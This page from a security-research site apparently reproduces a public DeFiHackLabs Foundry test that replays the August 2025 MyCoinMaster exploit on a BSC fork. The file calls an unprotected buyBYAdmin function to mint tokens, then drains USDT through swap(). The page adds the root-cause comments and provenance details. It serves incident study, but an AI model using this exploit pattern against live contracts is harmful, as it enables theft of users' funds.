Public reproduction file
src/test/2025-08/MyCoinMaster_exp.sol
Public reproduction file for dataset entry MyCoinMaster.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 653.49 USD8// Attacker : 0xEBE15A67e37203563d0D99AafAf06eCf41305FbA9// Attack Contract : 0x436322d4a854E89cDdaFF00C2c1cB72015f37ca110// Vulnerable Contract : 0xEF9A10D6abFd5D3aA345a008c0F9132Ce4b23E7011// Attack Tx : https://bscscan.com/tx/0x57865009e1cfb7516240eb901342f3b434c2a2754e14604c838024ffe2e191a712//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xEF9A10D6abFd5D3aA345a008c0F9132Ce4b23E70#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/162818//19// Attack summary: MycoinmasterV7 exposed buyBYAdmin(uint256,address,address) without an admin check. The attacker used20// it to mint a large locked MYC position to the victim contract and a 1% MYC airdrop to the attack contract, then21// called swap(uint256). swap() accepted the airdropped MYC and paid USDT from the victim contract.22// Root cause: missing access control on buyBYAdmin plus direct USDT redemption in swap().24address constant ATTACKER = 0xEBE15A67e37203563d0D99AafAf06eCf41305FbA;25address constant ATTACK_CONTRACT = 0x436322d4a854E89cDdaFF00C2c1cB72015f37ca1;26address constant MYCOINMASTER = 0xEF9A10D6abFd5D3aA345a008c0F9132Ce4b23E70;27address constant MYC = 0x0f1c6638561F29F489E24D234014F4dEba1A9ABd;28address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;30interface IMyCoinMaster {31 function buyBYAdmin(uint256 tokens, address sponsor, address user) external payable;32 function swap(33 uint256 tokens34 ) external;35}37contract ContractTest is BaseTestWithBalanceLog {38 MyCoinMasterAttack private exploit;40 function setUp() public {41 uint256 forkBlock = 56_555_696;42 vm.createSelectFork("bsc", forkBlock);43 vm.label(ATTACKER, "Attacker");44 vm.label(ATTACK_CONTRACT, "Attack Contract");45 vm.label(MYCOINMASTER, "Mycoinmaster Proxy");46 vm.label(MYC, "MYC");47 vm.label(USDT_TOKEN, "USDT");49 exploit = new MyCoinMasterAttack();50 fundingToken = USDT_TOKEN;51 attacker = address(exploit);52 }54 function testExploit() public balanceLog {55 uint256 victimUsdtBefore = IERC20(USDT_TOKEN).balanceOf(MYCOINMASTER);56 exploit.run();58 uint256 profit = IERC20(USDT_TOKEN).balanceOf(address(exploit));59 assertEq(profit, 653_629_999_995_700_000_000, "USDT profit");60 assertEq(victimUsdtBefore - IERC20(USDT_TOKEN).balanceOf(MYCOINMASTER), profit, "victim USDT loss");61 }62}64contract MyCoinMasterAttack {65 function run() external {66 uint256 mycMintAmount = 100_000_000_000_000;67 uint256 swapAmount = 120_225_946_717;69 IMyCoinMaster(MYCOINMASTER).buyBYAdmin(mycMintAmount, address(this), address(this));70 IERC20(MYC).approve(MYCOINMASTER, swapAmount);71 IMyCoinMaster(MYCOINMASTER).swap(swapAmount);72 }73}Analysis
Dataset entry
Public Foundry test for “MyCoinMaster” (2025-08-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xebe15a67e37203563d0d99aafaf06ecf41305fba
- Attack Contract
0x436322d4a854e89cddaff00c2c1cb72015f37ca1
- Vulnerable Contract
0xef9a10d6abfd5d3aa345a008c0f9132ce4b23e70
- Attack Tx
0x57865009e1cfb7516240eb901342f3b434c2a2754e14604c838024ffe2e191a7
File record
- Name
- MyCoinMaster
- Path
- src/test/2025-08/MyCoinMaster_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4a71143b268806e8bf7a5a67f7e0830601d71335
- Language
- Solidity
- Size
- 74 lines
- Date
- 2025-08-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/MyCoinMaster_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4a71143b268806e8bf7a5a67f7e0830601d71335, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.